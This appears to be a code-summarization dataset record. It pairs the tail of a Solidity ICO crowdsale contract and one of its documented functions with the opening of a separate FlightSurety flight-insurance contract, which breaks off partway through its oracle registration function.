0x27609c2e3d9810FdFCe157F2c1d87b717d0b0C10,
// Bounty - 1% freeze 2 month
0xd7AC0393e2B29D8aC6221CF69c27171aba6278c4,
// Advisers 4% freeze 1 month
0x765f60E314766Bc25eb2a9F66991Fe867D42A449,
// Team, 7%, freeze 50% 6 month, 50% 12 month
0xF9f0c53c07803a2670a354F3de88482393ABdBac,
// Founders, 11% freeze 50% 6 month, 50% 12 month
0x4816b3bA11477e42A81FffA8a4e376e4D1a7f007,
// Fund, 12% freeze 50% 2 month, 50% 12 month
0xe3C02072f8145DabCd7E7fe769ba1E3e73688ECc,
// Fees, 7% money
0xEB29e654AFF7658394C9d413dDC66711ADD44F59,
// Players and investors, 7% freezed. Unfreeze 1% per month after ICO finished
0x6faEc0c1ff412Fd041aB30081Cae677B362bd3c1,
// Airdrop, 4% freeze 2 month
0x7AA186f397dB8aE1FB80897e4669c1Ea126BA788,
// Referrals, 4% no freeze
0xAC26988d1573FC6626069578E6A5a4264F76f0C5
];
struct Bonus {
uint256 value;
uint256 procent;
}
struct Profit {
uint256 percent;
uint256 duration;
}
Bonus[] public bonuses;
Profit[] public profits;
uint256 public startTime= 1547197200;
uint256 public stopTime= 0;
// How many tokens (excluding the bonus) are transferred to the investor in exchange for 1 ETH
// **QUINTILLIONS** 10^18 for human, *10**18 for Solidity, 1e18 for MyEtherWallet (MEW).
// Example: if 1ETH = 40.5 Token ==> use 40500 finney
uint256 public rate = 25000 ether;
// ETH/USD rate in US$
// **QUINTILLIONS** 10^18 / *10**18 / 1e18. Example: ETH/USD=$1000 ==> use 1000*10**18 (Solidity) or 1000 ether or 1000e18 (MEW)
uint256 public exchange = 150 ether; // not in use
// If the round does not attain this value before the closing date, the round is recognized as a
// failure and investors take the money back (the founders will not interfere in any way).
// **QUINTILLIONS** 10^18 / *10**18 / 1e18. Example: softcap=15ETH ==> use 15*10**18 (Solidity) or 15e18 (MEW)
uint256 public softCap = 16133 ether;
// The maximum possible amount of income
// **QUINTILLIONS** 10^18 / *10**18 / 1e18. Example: hardcap=123.45ETH ==> use 123450*10**15 (Solidity) or 12345e15 (MEW)
uint256 public hardCap = 63333 ether;
// If the last payment is slightly higher than the hardcap, then the usual contracts do
// not accept it, because it goes beyond the hardcap. However it is more reasonable to accept the
// last payment, very slightly raising the hardcap. The value indicates by how many ETH the
// last payment can exceed the hardcap to allow it to be paid. Immediately after this payment, the
// round closes. The funders should write here a small number, not more than 1% of the CAP.
// Can be equal to zero, to cancel.
// **QUINTILLIONS** 10^18 / *10**18 / 1e18
uint256 public overLimit = 20 ether;
// The minimum possible payment from an investor in ETH. Payments below this value will be rejected.
// **QUINTILLIONS** 10^18 / *10**18 / 1e18. Example: minPay=0.1ETH ==> use 100*10**15 (Solidity) or 100e15 (MEW)
uint256 public minPay = 71 finney;
uint256 public maxAllProfit = 30;
uint256 public ethWeiRaised;
uint256 public nonEthWeiRaised;
uint256 public weiRound1;
uint256 public tokenReserved;
uint256 public totalSaledToken;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Finalized();
event Initialized();
function Crowdsale(Creator _creator) public
{
creator2=true;
creator=_creator;
}
function onlyAdmin(bool forObserver) internal view {
require(wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender ||
forObserver==true && wallets[uint8(Roles.observer)] == msg.sender);
}
// Setting of basic parameters, analog of class constructor
// @ Do I have to use the function see your scenario
// @ When it is possible to call before Round 1/2
// @ When it is launched automatically -
// @ Who can call the function admins
function begin() internal
{
if (isBegin) return;
isBegin=true;
token = creator.createToken();
allocation = creator.createPeriodicAllocation(token);
allocationQueue = creator.createAllocationQueue(token);
if (creator2) {
vault = creator.createRefund();
}
token.setUnpausedWallet(wallets[uint8(Roles.accountant)], true);
token.setUnpausedWallet(wallets[uint8(Roles.manager)], true);
token.setUnpausedWallet(wallets[uint8(Roles.bounty)], true);
token.setUnpausedWallet(wallets[uint8(Roles.advisers)], true);
token.setUnpausedWallet(wallets[uint8(Roles.observer)], true);
token.setUnpausedWallet(wallets[uint8(Roles.players)], true);
token.setUnpausedWallet(wallets[uint8(Roles.airdrop)], true);
token.setUnpausedWallet(wallets[uint8(Roles.fund)], true);
token.setUnpausedWallet(wallets[uint8(Roles.founders)], true);
token.setUnpausedWallet(wallets[uint8(Roles.referrals)], true);
token.setUnpausedWallet(allocation, true);
token.setUnpausedWallet(allocationQueue, true);
bonuses.push(Bonus(71 ether, 30));
profits.push(Profit(15,2 days));
profits.push(Profit(10,2 days));
profits.push(Profit(5,4 days));
}
// Issue of tokens for the zero round, it is usually called: private pre-sale (Round 0)
// @ Do I have to use the function may be
// @ When it is possible to call before Round 1/2 and untill crowdsale end
// @ When it is launched automatically -
// @ Who can call the function admins
function privateMint(uint256 _amount) public {
onlyAdmin(false);
require(stopTime == 0);
uint256 weiAmount = _amount.mul(1 ether).div(rate);
bool withinCap = weiAmount <= hardCap.sub(weiRaised()).add(overLimit);
require(withinCap);
begin();
// update state
ethWeiRaised = ethWeiRaised.add(weiAmount);
token.mint(wallets[uint8(Roles.accountant)],_amount);
systemWalletsMint(_amount);
}
// info
function totalSupply() external view returns (uint256){
return token.totalSupply();
}
// Returns the name of the current round in plain text. Constant.
function getTokenSaleType() external view returns(string){
return (TokenSale == TokenSaleType.round1)?'round1':'round2';
}
// Transfers the funds of the investor to the contract of return of funds. Internal.
function forwardFunds() internal {
if(address(vault) != 0x0){
vault.deposit.value(msg.value)(msg.sender);
}else {
if(address(this).balance > 0){
wallets[uint8(Roles.beneficiary)].transfer(address(this).balance);
}
}
}
// Check for the possibility of buying tokens. Inside. Constant.
function validPurchase() internal view returns (bool) {
// The round started and did not end
bool withinPeriod = (now > startTime && stopTime == 0);
// Rate is greater than or equal to the minimum
bool nonZeroPurchase = msg.value >= minPay;
// hardCap is not reached, and in the event of a transaction, it will not be exceeded by more than OverLimit
bool withinCap = msg.value <= hardCap.sub(weiRaised()).add(overLimit);
// round is initialized and no "Pause of trading" is set
return withinPeriod && nonZeroPurchase && withinCap && isInitialized && !isPausedCrowdsale;
}
// Check for the ability to finalize the round. Constant.
function hasEnded() public view returns (bool) {
bool capReached = weiRaised() >= hardCap;
return (stopTime > 0 || capReached) && isInitialized;
}
// Finalize. Only available to the Manager and the Beneficiary. If the round failed, then
// anyone can call the finalization to unlock the return of funds to investors
// You must call a function to finalize each round (after the Round1 & after the Round2)
// @ Do I have to use the function yes
// @ When it is possible to call after end of Round1 & Round2
// @ When it is launched automatically no
// @ Who can call the function admins or anybody (if round is failed)
function finalize() public {
require(wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender || !goalReached());
require(!isFinalized);
require(hasEnded() || ((wallets[uint8(Roles.manager)] == msg.sender || wallets[uint8(Roles.beneficiary)] == msg.sender) && goalReached()));
isFinalized = true;
finalization();
emit Finalized();
}
// The logic of finalization. Internal
// @ Do I have to use the function no
// @ When it is possible to call -
// @ When it is launched automatically after end of round
// @ Who can call the function -
function finalization() internal {
if (stopTime == 0) {
stopTime = now;
}
//uint256 feesValue;
// If the goal of the achievement
if (goalReached()) {
if(address(vault) != 0x0){
// Send ether to Beneficiary
vault.close(wallets[uint8(Roles.beneficiary)], wallets[uint8(Roles.fees)], ethWeiRaised.mul(7).div(100)); //7% for fees
}
// if there is anything to give
if (tokenReserved > 0) {
token.mint(wallets[uint8(Roles.accountant)],tokenReserved);
// Reset the counter
tokenReserved = 0;
}
// If the finalization is Round 1
if (TokenSale == TokenSaleType.round1) {
// Reset settings
isInitialized = false;
isFinalized = false;
// Switch to the second round (to Round2)
TokenSale = TokenSaleType.round2;
// Reset the collection counter
weiRound1 = weiRaised();
ethWeiRaised = 0;
nonEthWeiRaised = 0;
}
else // If the second round is finalized
{
// Permission to collect tokens to those who can pick them up
chargeBonuses = true;
totalSaledToken = token.totalSupply();
}
}
else if (address(vault) != 0x0) // If they failed round
{
// Allow investors to withdraw their funds
vault.enableRefunds();
}
}
// The Manager freezes the tokens for the Team.
// You must call a function to finalize Round 2 (only after the Round2)
// @ Do I have to use the function yes
// @ When it is possible to call Round2
// @ When it is launched automatically -
// @ Who can call the function admins
function finalize2() public {
onlyAdmin(false);
require(chargeBonuses);
chargeBonuses = false;
allocation.addShare(wallets[uint8(Roles.players)], 7, 7, 30 days); // Freeze 7%. Unfreeze 1% per month after ICO finished
allocation.setUnlockStart(now);
}
// Initializing the round. Available to the manager. After calling the function,
// the Manager loses all rights: Manager can not change the settings (setup), change
// wallets, prevent the beginning of the round, etc. You must call a function after setup
// for the initial round (before the Round1 and before the Round2)
// @ Do I have to use the function yes
// @ When it is possible to call before each round
// @ When it is launched automatically -
// @ Who can call the function admins
function initialize() public {
onlyAdmin(false);
// If not yet initialized
require(!isInitialized);
begin();
// And the specified start time has not yet come
// If initialization return an error, check the start date!
require(now <= startTime);
initialization();
emit Initialized();
isInitialized = true;
}
function initialization() internal {
if (address(vault) != 0x0 && vault.state() != RefundVault.State.Active){
vault.restart();
}
}
// Manually stops the round. Available to the manager.
// @ Do I have to use the function yes
// @ When it is possible to call after each round
// @ When it is launched automatically -
// @ Who can call the function admins
function stop() public {
onlyAdmin(false);
require(stopTime == 0 && now > startTime);
stopTime = now;
}
// At the request of the investor, we raise the funds (if the round has failed because of the hardcap)
// @ Do I have to use the function no
// @ When it is possible to call if round is failed (softcap not reached)
// @ When it is launched automatically -
// @ Who can call the function all investors
function claimRefund() external {
require(address(vault) != 0x0);
vault.refund(msg.sender);
}
// We check whether we collected the necessary minimum funds. Constant.
function goalReached() public view returns (bool) {
return weiRaised() >= softCap;
}
// Customize. The arguments are described in the constructor above.
// @ Do I have to use the function yes
// @ When it is possible to call before each round
// @ When it is launched automatically -
// @ Who can call the function admins
function setup(uint256 _startTime, uint256 _softCap, uint256 _hardCap,
uint256 _rate, uint256 _exchange,
uint256 _maxAllProfit, uint256 _overLimit, uint256 _minPay,
uint256[] _durationTB , uint256[] _percentTB, uint256[] _valueVB, uint256[] _percentVB) public
{
onlyAdmin(false);
require(!isInitialized);
begin();
// Date and time are correct
require(now <= _startTime);
startTime = _startTime;
// The parameters are correct
require(_softCap <= _hardCap);
softCap = _softCap;
hardCap = _hardCap;
require(_rate > 0);
rate = _rate;
overLimit = _overLimit;
minPay = _minPay;
exchange = _exchange;
maxAllProfit = _maxAllProfit;
require(_valueVB.length == _percentVB.length);
bonuses.length = _valueVB.length;
for(uint256 i = 0; i < _valueVB.length; i++){
bonuses[i] = Bonus(_valueVB[i],_percentVB[i]);
}
require(_percentTB.length == _durationTB.length);
profits.length = _percentTB.length;
for( i = 0; i < _percentTB.length; i++){
profits[i] = Profit(_percentTB[i],_durationTB[i]);
}
}
// Collected funds for the current round. Constant.
function weiRaised() public constant returns(uint256){
return ethWeiRaised.add(nonEthWeiRaised);
}
// Returns the amount of fees for both phases. Constant.
function weiTotalRaised() external constant returns(uint256){
return weiRound1.add(weiRaised());
}
// Returns the percentage of the bonus on the current date. Constant.
function getProfitPercent() public constant returns (uint256){
return getProfitPercentForData(now);
}
// Returns the percentage of the bonus on the given date. Constant.
function getProfitPercentForData(uint256 _timeNow) public constant returns (uint256){
uint256 allDuration;
for(uint8 i = 0; i < profits.length; i++){
allDuration = allDuration.add(profits[i].duration);
if(_timeNow < startTime.add(allDuration)){
return profits[i].percent;
}
}
return 0;
}
function getBonuses(uint256 _value) public constant returns (uint256,uint256){
if(bonuses.length == 0 || bonuses[0].value > _value){
return (0,0);
}
uint16 i = 1;
for(i; i < bonuses.length; i++){
if(bonuses[i].value > _value){
break;
}
}
return (bonuses[i-1].value,bonuses[i-1].procent);
}
// Remove the "Pause of exchange". Available to the manager at any time. If the
// manager refuses to remove the pause, then 30-120 days after the successful
// completion of the TokenSale, anyone can remove a pause and allow the exchange to continue.
// The manager does not interfere and will not be able to delay the term.
// He can only cancel the pause before the appointed time.
// ***CHECK***SCENARIO***
// @ Do I have to use the function YES YES YES
// @ When it is possible to call after end of Token Sale (or any time - not necessary)
// @ When it is launched automatically -
// @ Who can call the function admins or anybody
function tokenUnpause() external {
require(wallets[uint8(Roles.manager)] == msg.sender
|| (stopTime != 0 && now > stopTime.add(USER_UNPAUSE_TOKEN_TIMEOUT) && TokenSale == TokenSaleType.round2 && isFinalized && goalReached()));
token.setPause(false);
}
// Enable the "Pause of exchange". Available to the manager until the TokenSale is completed.
// The manager cannot turn on the pause, for example, 3 years after the end of the TokenSale.
// ***CHECK***SCENARIO***
// @ Do I have to use the function no
// @ When it is possible to call while Round2 not ended
// @ When it is launched automatically Round0
// @ Who can call the function admins
function tokenPause() public {
onlyAdmin(false);
require(!isFinalized);
token.setPause(true);
}
// Pause of sale. Available to the manager.
// @ Do I have to use the function no
// @ When it is possible to call during active rounds
// @ When it is launched automatically -
// @ Who can call the function admins
function setCrowdsalePause(bool mode) public {
onlyAdmin(false);
isPausedCrowdsale = mode;
}
// For example - After 5 years of the project's existence, all of us suddenly decided collectively
// (company + investors) that it would be more profitable for everyone to switch to another smart
// contract responsible for tokens. The company then prepares a new token, investors
// disassemble, study, discuss, etc. After a general agreement, the manager allows any investor:
// - to burn the tokens of the previous contract
// - generate new tokens for a new contract
// It is understood that after a general solution through this function all investors
// will collectively (and voluntarily) move to a new token.
// @ Do I have to use the function no
// @ When it is possible to call only after Token Sale!
// @ When it is launched automatically -
// @ Who can call the function admins
function moveTokens(address _migrationAgent) public {
onlyAdmin(false);
token.setMigrationAgent(_migrationAgent);
}
// @ Do I have to use the function no
// @ When it is possible to call only after Token Sale!
// @ When it is launched automatically -
// @ Who can call the function admins
function migrateAll(address[] _holders) public {
onlyAdmin(false);
token.migrateAll(_holders);
}
// Change the address for the specified role.
// Available to any wallet owner except the observer.
// Available to the manager until the round is initialized.
// The Observer's wallet or his own manager can change at any time.
// @ Do I have to use the function no
// @ When it is possible to call depend...
// @ When it is launched automatically -
// @ Who can call the function staff (all 7+ roles)
function changeWallet(Roles _role, address _wallet) external
{
require(
(msg.sender == wallets[uint8(_role)] && _role != Roles.observer)
||
(msg.sender == wallets[uint8(Roles.manager)] && (!isInitialized || _role == Roles.observer) && _role != Roles.fees )
);
wallets[uint8(_role)] = _wallet;
}
// The beneficiary at any time can take rights in all roles and prescribe his wallet in all the
// rollers. Thus, he will become the recipient of tokens for the role of Accountant,
// Team, etc. Works at any time.
// @ Do I have to use the function no
// @ When it is possible to call any time
// @ When it is launched automatically -
// @ Who can call the function only Beneficiary
function resetAllWallets() external{
address _beneficiary = wallets[uint8(Roles.beneficiary)];
require(msg.sender == _beneficiary);
for(uint8 i = 0; i < wallets.length; i++){
if(uint8(Roles.fees) == i || uint8(Roles.team) == i)
continue;
wallets[i] = _beneficiary;
}
token.setUnpausedWallet(_beneficiary, true);
}
// Burn the investor tokens, if provided by the Token Sale scenario. Limited time available - BURN_TOKENS_TIME
// ***CHECK***SCENARIO***
// @ Do I have to use the function no
// @ When it is possible to call any time
// @ When it is launched automatically -
// @ Who can call the function admin
function massBurnTokens(address[] _beneficiary, uint256[] _value) external {
onlyAdmin(false);
require(stopTime == 0 || stopTime.add(BURN_TOKENS_TIME) > now);
require(_beneficiary.length == _value.length);
for(uint16 i; i<_beneficiary.length; i++) {
token.burn(_beneficiary[i],_value[i]);
}
}
// If a little more than a year has elapsed (Round2 start date + 400 days), a smart contract
// will allow you to send all the money to the Beneficiary, if any money is present. This is
// possible if you mistakenly launch the Round2 for 30 years (not 30 days), investors will transfer
// money there and you will not be able to pick them up within a reasonable time. It is also
// possible that in our checked script someone will make unforeseen mistakes, spoiling the
// finalization. Without finalization, money cannot be returned. This is a rescue option to
// get around this problem, but available only after a year (400 days).
// Another reason - the TokenSale was a failure, but not all ETH investors took their money during the year after.
// Some investors may have lost a wallet key, for example.
// The method works equally with the Round1 and Round2. When the Round1 starts, the time for unlocking
// the distructVault begins. If the TokenSale is then started, then the term starts anew from the first day of the TokenSale.
// Next, act independently, in accordance with obligations to investors.
// Within 400 days (FORCED_REFUND_TIMEOUT1) of the start of the Round, if it fails only investors can take money. After
// the deadline this can also include the company as well as investors, depending on who is the first to use the method.
// @ Do I have to use the function no
// @ When it is possible to call -
// @ When it is launched automatically -
// @ Who can call the function beneficiary & manager
function distructVault() public {
require(address(vault) != 0x0);
require(stopTime != 0 && !goalReached());
if (wallets[uint8(Roles.beneficiary)] == msg.sender && (now > startTime.add(FORCED_REFUND_TIMEOUT1))) {
vault.del(wallets[uint8(Roles.beneficiary)]);
}
if (wallets[uint8(Roles.manager)] == msg.sender && (now > startTime.add(FORCED_REFUND_TIMEOUT2))) {
vault.del(wallets[uint8(Roles.manager)]);
}
}
// We accept payments other than Ethereum (ETH) and other currencies, for example, Bitcoin (BTC).
// Perhaps other types of cryptocurrency - see the original terms in the white paper and on the TokenSale website.
// We release tokens on Ethereum. During the Round1 and Round2 with a smart contract, you directly transfer
// the tokens there and immediately, with the same transaction, receive tokens in your wallet.
// When paying in any other currency, for example in BTC, we accept your money via one common wallet.
// Our manager fixes the amount received for the bitcoin wallet and calls the method of the smart
// contract paymentsInOtherCurrency to inform him how much foreign currency has been received - on a daily basis.
// The smart contract pins the number of accepted ETH directly and the number of BTC. Smart contract
// monitors softcap and hardcap, so as not to go beyond this framework.
// In theory, it is possible that when approaching hardcap, we will receive a transfer (one or several
// transfers) to the wallet of BTC, that together with previously received money will exceed the hardcap in total.
// In this case, we will refund all the amounts above, in order not to exceed the hardcap.
// Collection of money in BTC will be carried out via one common wallet. The wallet's address will be published
// everywhere (in a white paper, on the TokenSale website, on Telegram, on Bitcointalk, in this code, etc.)
// Anyone interested can check that the administrator of the smart contract writes down exactly the amount
// in ETH (in equivalent for BTC) there. In theory, the ability to bypass a smart contract to accept money in
// BTC and not register them in ETH creates a possibility for manipulation by the company. Thanks to
// paymentsInOtherCurrency however, this threat is leveled.
// Any user can check the amounts in BTC and the variable of the smart contract that accounts for this
// (paymentsInOtherCurrency method). Any user can easily check the incoming transactions in a smart contract
// on a daily basis. Any hypothetical tricks on the part of the company can be exposed and panic during the TokenSale,
// simply pointing out the incompatibility of paymentsInOtherCurrency (ie, the amount of ETH + BTC collection)
// and the actual transactions in BTC. The company strictly adheres to the described principles of openness.
// The company administrator is required to synchronize paymentsInOtherCurrency every working day (but you
// cannot synchronize if there are no new BTC payments). In the case of unforeseen problems, such as
// brakes on the Ethereum network, this operation may be difficult. You should only worry if the
// administrator does not synchronize the amount for more than 96 hours in a row, and the BTC wallet
// receives significant amounts.
// This scenario ensures that for the sum of all fees in all currencies this value does not exceed hardcap.
// Addresses for other currencies:
// BTC Address: 3NKfzN4kShB7zpWTe2vzFDY4NuYa1SqdEV
// ** QUINTILLIONS ** 10^18 / 1**18 / 1e18
// @ Do I have to use the function no
// @ When it is possible to call during active rounds
// @ When it is launched automatically every day from cryptob2b token software
// @ Who can call the function admins + observer
function paymentsInOtherCurrency(uint256 _token, uint256 _value) public {
//require(wallets[uint8(Roles.observer)] == msg.sender || wallets[uint8(Roles.manager)] == msg.sender);
onlyAdmin(true);
bool withinPeriod = (now >= startTime && stopTime == 0);
bool withinCap = _value.add(ethWeiRaised) <= hardCap.add(overLimit);
require(withinPeriod && withinCap && isInitialized);
nonEthWeiRaised = _value;
tokenReserved = _token;
}
function queueMint(address _beneficiary, uint256 _value, uint256 _freezeTime) internal {
token.mint(address(allocationQueue), _value);
allocationQueue.addShare(_beneficiary, _value, _freezeTime);
}
function systemWalletsMint(uint256 tokens) internal {
// 4% – tokens for Airdrop, freeze 2 month
queueMint(wallets[uint8(Roles.airdrop)], tokens.mul(4).div(50), 60 days);
// 7% - tokens for Players and Investors
token.mint(address(allocation), tokens.mul(7).div(50));
// 4% - tokens to Advisers wallet, freeze 1 month
queueMint(wallets[uint8(Roles.advisers)], tokens.mul(4).div(50), 30 days);
// 7% - tokens to Team wallet, freeze 50% 6 month, 50% 12 month
queueMint(wallets[uint8(Roles.team)], tokens.mul(7).div(2).div(50), 6 * 30 days);
queueMint(wallets[uint8(Roles.team)], tokens.mul(7).div(2).div(50), 365 days);
// 1% - tokens to Bounty wallet, freeze 2 month
queueMint(wallets[uint8(Roles.bounty)], tokens.mul(1).div(50), 60 days);
// 11% - tokens to Founders wallet, freeze 50% 6 month, 50% 12 month
queueMint(wallets[uint8(Roles.founders)], tokens.mul(11).div(2).div(50), 6 * 30 days);
queueMint(wallets[uint8(Roles.founders)], tokens.mul(11).div(2).div(50), 365 days);
// 12% - tokens to Fund wallet, freeze 50% 2 month, 50% 12 month
queueMint(wallets[uint8(Roles.fund)], tokens.mul(12).div(2).div(50), 2 * 30 days);
queueMint(wallets[uint8(Roles.fund)], tokens.mul(12).div(2).div(50), 365 days);
// 4% - tokens for Referrals
token.mint(wallets[uint8(Roles.referrals)], tokens.mul(4).div(50));
}
// The function for obtaining smart contract funds in ETH. If all the checks are true, the token is
// transferred to the buyer, taking into account the current bonus.
function buyTokens(address beneficiary) public payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 ProfitProcent = getProfitPercent();
uint256 value;
uint256 percent;
(value, percent) = getBonuses(weiAmount);
Bonus memory curBonus = Bonus(value, percent);
uint256 bonus = curBonus.procent;
// --------------------------------------------------------------------------------------------
// *** Scenario 1 - select max from all bonuses + check maxAllProfit
uint256 totalProfit = (ProfitProcent < bonus) ? bonus : ProfitProcent;
// --------------------------------------------------------------------------------------------
totalProfit = (totalProfit > maxAllProfit) ? maxAllProfit : totalProfit;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate).mul(totalProfit.add(100)).div(100 ether);
// update state
ethWeiRaised = ethWeiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
systemWalletsMint(tokens);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// buyTokens alias
function () public payable {
buyTokens(msg.sender);
}
}
|
Returns the amount of fees for both phases. Constant.
|
function weiTotalRaised() external constant returns(uint256){
return weiRound1.add(weiRaised());
}
| 5,497,046
|
pragma solidity ^0.4.24;
// It's important to avoid vulnerabilities due to numeric overflow bugs
// OpenZeppelin's SafeMath library, when used correctly, protects agains such bugs
// More info: https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/november/smart-contract-insecurity-bad-arithmetic/
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
/************************************************** */
/* FlightSurety Smart Contract */
/************************************************** */
contract FlightSuretyApp {
using SafeMath for uint256; // Allow SafeMath functions to be called for all uint256 types (similar to "prototype" in Javascript)
/********************************************************************************************/
/* DATA VARIABLES */
/********************************************************************************************/
// Flight status codes
uint8 private constant STATUS_CODE_UNKNOWN = 0;
uint8 private constant STATUS_CODE_ON_TIME = 10;
uint8 private constant STATUS_CODE_LATE_AIRLINE = 20;
uint8 private constant STATUS_CODE_LATE_WEATHER = 30;
uint8 private constant STATUS_CODE_LATE_TECHNICAL = 40;
uint8 private constant STATUS_CODE_LATE_OTHER = 50;
// Account used to deploy contract
address private contractOwner;
// App links to the Data Contract
FlightSuretyData flightSuretyData;
// Fee for an airline to join
uint256 private constant JOIN_FEE = 10 ether;
// Fee to be paid when registering oracle
uint256 public constant REGISTRATION_FEE = 1 ether;
// Number of oracles that must respond for valid status
uint256 private constant MIN_RESPONSES = 3;
/********************************************************************************************/
/* FUNCTION MODIFIERS */
/********************************************************************************************/
// Modifiers help avoid duplication of code. They are typically used to validate something
// before a function is allowed to be executed.
/**
* @dev Modifier that requires the "operational" boolean variable to be "true"
* This is used on all state changing functions to pause the contract in
* the event there is an issue that needs to be fixed
*/
modifier requireIsOperational()
{
// Delegates to data contract's status
require(flightSuretyData.isOperational(), "Contract is currently not operational");
_;
}
/**
* @dev Modifier that requires the "ContractOwner" account to be the function caller
*/
modifier requireContractOwner()
{
require(msg.sender == contractOwner, "Caller is not contract owner");
_;
}
/**
* @dev Modifier requires the Airline that is calling is already funded
*/
modifier requireIsFundedAirline(address airline)
{
require(flightSuretyData.isFundedAirline(airline), "Airline is not funded");
_;
}
/**
* @dev Modifier prevent double-funding of airline
*/
modifier requireIsNotFundedAirline(address airline)
{
require(flightSuretyData.isFundedAirline(airline) == false, "Airline is already funded - should not fund twice");
_;
}
/**
* @dev Modifier prevent double-funding of airline
*/
modifier requireNotAlreadyVoted(address airline, address voter)
{
require(flightSuretyData.hasNotAlreadyVoted(airline, voter), "A registered airline cannot vote more than once for same airline");
_;
}
/********************************************************************************************/
/* CONSTRUCTOR */
/********************************************************************************************/
/**
* @dev Contract constructor. First airline is registered when contract deployed
*
*/
constructor
(address dataContractAddress)
public
{
require(dataContractAddress != address(0), 'Must supply the data contract associated with the app');
contractOwner = msg.sender;
// Link to the deployed data contract
// and get address for payments to it
flightSuretyData = FlightSuretyData(dataContractAddress);
}
/********************************************************************************************/
/* UTILITY FUNCTIONS */
/********************************************************************************************/
function isOperational()
public
view
returns (bool)
{
// Delegates to data contract's status
return flightSuretyData.isOperational();
}
function isFundedAirline(address airline)
public
view
returns (bool)
{
return flightSuretyData.isFundedAirline(airline);
}
function getDataContractAddress()
public
view
returns (address)
{
return address(flightSuretyData);
}
function getContractOwner()
public
view
returns (address)
{
return address(contractOwner);
}
function getRegistrationFee()
public
pure
returns (uint256)
{
return REGISTRATION_FEE;
}
/********************************************************************************************/
/* SMART CONTRACT FUNCTIONS */
/********************************************************************************************/
function getAirlineStatus(address airline)
public
view
returns (bool isRegistered,
bool isFunded,
uint256 votes)
{
return flightSuretyData.getAirlineStatus(airline);
}
/***
* @dev Return number of airlines registered so far
*
*/
function registeredAirlinesCount()
public
view
returns (uint256) {
return flightSuretyData.registeredAirlinesCount();
}
/**
* @dev Add an airline to the registration queue
*
* First 4 airlines can be registered by a single funded airline
* 5th and more airlines require M-of-N consensus of 50% or more to register
* (i.e. the same airline must be registered by 50% of existing airlines to take effect)
*
*/
function registerAirline
(address airline, string companyName
)
external
requireIsOperational
requireIsFundedAirline(msg.sender) // the SENDER needs to be a funded airline
requireNotAlreadyVoted(airline, msg.sender)
{
uint256 _registeredAirlines = flightSuretyData.registeredAirlinesCount();
address voter = msg.sender;
if (_registeredAirlines < 4) {
// Votes are not necessary for initial 4 airlines
// so automatically make them with registered status
// BUT they are not yet funded
flightSuretyData.addAirline(airline, companyName, true, false, 0);
} else {
uint256 idx = flightSuretyData.findAirline(airline);
if (idx < flightSuretyData.getAirlineCount()) {
// Matches the registration request for an existing airline...
flightSuretyData.registerVote(idx, voter);
// Once 50% membership votes for this airline, it will be registered
uint256 _count50pct = _registeredAirlines.div(2);
if (flightSuretyData.airlineVotes(idx) >= _count50pct) {
flightSuretyData.registerAirline(idx);
}
} else {
// First request - Start with 1 vote and not yet registered
flightSuretyData.addAirline(airline, companyName, false, false, 0);
// Record vote
idx = flightSuretyData.findAirline(airline);
flightSuretyData.registerVote(idx, voter);
}
}
}
/**
* Return status of specified airline
*/
function getAirlineByIdx(uint256 idx)
external
view
returns (bool isRegistered,
bool isFunded,
uint256 votes,
address airlineAccount,
string companyName)
{
// retAcc = new address[](50);
return flightSuretyData.getAirlineStatus(idx);
// uint256 airlineCount = flightSuretyData.getAirlineCount();
// uint256 i = 0;
// while (i<airlineCount && acc[i] != 0) {
// retAcc.push(acc[i]);
// }
// retAcc.length=i;
// return retAcc;
}
function getAirlineCount()
external
view
returns (uint256)
{
return flightSuretyData.getAirlineCount();
}
/**
* @dev Initial funding for the insurance. Unless there are too many delayed flights
* resulting in insurance payouts, the contract should be self-sustaining
*
*/
function fund()
external payable
requireIsOperational
requireIsNotFundedAirline(msg.sender) // Must be not funded otherwise will be overpaying with multiple funds
{
require(msg.value >= JOIN_FEE, "Funding payment too low");
require(address(contractOwner) != address(0), "Contract owner is not set");
// SafeMath : determine any excess to return
uint256 amountToReturn = msg.value.sub(JOIN_FEE);
// transfer payment on to data contract and flag as funded
flightSuretyData.fund.value(JOIN_FEE)(msg.sender);
// ..before crediting any overspend
msg.sender.transfer(amountToReturn);
}
////////////////////////////////////////////////////////////////
// Passenger functions
////////////////////////////////////////////////////////////////
// Passenger buys insurance for a flight
// Overpayment will result in a return
function buy(
address _airline,
string _flight,
uint256 _timestamp)
external
payable
requireIsOperational
{
require(msg.value >= 0, "Payment must be greater than 0");
// Max payment is capped at 1 Ether
uint256 amountToReturn = (msg.value > 1 ether) ? (msg.value - 1 ether) : 0;
uint256 acceptedPayment = msg.value.sub(amountToReturn);
// transfer payment on to data contract
flightSuretyData.buy.value(acceptedPayment)(msg.sender, _airline, _flight, _timestamp);
// ..before crediting any overspend
msg.sender.transfer(amountToReturn);
}
// Transfers eligible payout funds to insuree
function pay()
external
requireIsOperational
{
flightSuretyData.pay(msg.sender);
}
// Get the current credit available
function getCredit()
public
view
returns (uint256)
{
return flightSuretyData.getCredit(msg.sender);
}
/**
* @dev Register a future flight for insuring.
*
*/
function registerFlight
(
string _flight,
uint256 _timestamp
)
external
requireIsOperational
requireIsFundedAirline(msg.sender)
{
flightSuretyData.registerFlight(msg.sender, _flight, _timestamp);
}
/**
* For testing purposes
*
*/
function processFlightStatus
(
address airline,
string flight,
uint256 timestamp,
uint8 statusCode,
uint8 multiplyBy,
uint8 divideBy,
uint8 payoutCode
)
external
requireIsOperational
{
flightSuretyData.processFlightStatus(airline, flight, timestamp, statusCode, multiplyBy, divideBy, payoutCode);
}
////////////////////////////////////////////////////////////////
// region ORACLE MANAGEMENT
////////////////////////////////////////////////////////////////
// Register an oracle with the contract
function registerOracle
(
)
external
payable
requireIsOperational
{
// Require registration fee
require(msg.value >= REGISTRATION_FEE, "Registration fee is required");
// SafeMath : determine any excess to return
uint256 amountToReturn = 0;
//msg.value.sub(REGISTRATION_FEE);
